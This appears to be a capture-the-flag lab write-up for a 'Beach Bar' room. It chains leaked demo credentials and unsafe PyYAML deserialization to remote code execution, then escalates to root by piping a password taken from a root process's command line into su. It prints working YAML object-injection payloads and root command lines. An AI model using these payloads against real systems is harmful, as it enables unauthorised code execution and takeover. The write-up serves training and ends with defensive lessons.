Hacker Holidays 2026 – Day 5 – Beach Bar
Room Theme Welcome back to the Byte Lotus. The beach bar’s jukebox takes requests from anyone with a phone. A DJ who never logs out, a song queue that accepts a little more than song titles, and a service down the boardwalk quietly announcing “something.” The night-shift developer wired the jukebox straight into the floor with the trimmings still attached.
1. Initial Reconnaissance
nmap -Pn -p- -T4 <Target>
Nmap showed ports 80 and 20 open. Port 80 is the main web application.
Visiting the site presents a clean “DJ booth sign-in” page. Viewing the page source reveals a helpful HTML comment left by the developers:
<!--
staff note: the demo DJ login is still enabled for the soft opening.
X / X -- swap this before the season starts (ticket BAR-7)
-->
2. Initial Access – Unsafe YAML Deserialization
After logging in you reach the Import playlist feature. It accepts either pasted YAML or a .yml file upload.
The backend uses the dangerous:
Python
parsed = yaml.load(content, Loader=yaml.Loader)
This allows classic Python object injection. A working payload is:
YAML
!!python/object/apply:subprocess.check_output
args: [['whoami']]
The application returns:
b'bartender'
We now have remote code execution as the bartender user.
3. User Flag
Simple file read via the same vector:
YAML
!!python/object/apply:subprocess.check_output
args: [['cat', '/home/bartender/user.txt']]
(User flag obtained.)
4. Privilege Escalation
Further enumeration with the RCE:
- sudo -l requires a password.
- SUID binaries and capabilities are standard / uninteresting.
- Process list reveals a goldmine:
Bash
root ... /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass hiddenpassword --bitrate 320k
A cleartext password is sitting in the command-line arguments of a root process: Redacted
Although the password does not work with sudo, it works perfectly with su:
YAML
!!python/object/apply:subprocess.check_output
args: [['bash', '-c', 'echo "hiddenpassword" | su -c "id" root 2>&1 || true']]
Output:
text
uid=0(root) gid=0(root) groups=0(root)
5. Root Flag
YAML
!!python/object/apply:subprocess.check_output
args: [['bash', '-c', 'echo "hiddenpassword" | su -c "cat /root/root.txt" root 2>&1 || true']]
(Root flag captured.)
Summary of the Attack Chain
- Hardcoded demo credentials in HTML comment → login as dj
- Unsafe yaml.Loader in the playlist import feature → RCE as bartender
- Password leaked in the process list of a root-owned service → su to root
- Read root flag
Key Takeaways
- Never leave demo credentials in production (or even in soft-opening) source.
- yaml.load(…, Loader=yaml.Loader) is equivalent to remote code execution.
- Always check process command lines — secrets are frequently leaked there.
- su can succeed where sudo fails when the password is known.
Happy hacking, and enjoy the rest of Hacker Holidays at the Byte Lotus! 🌴
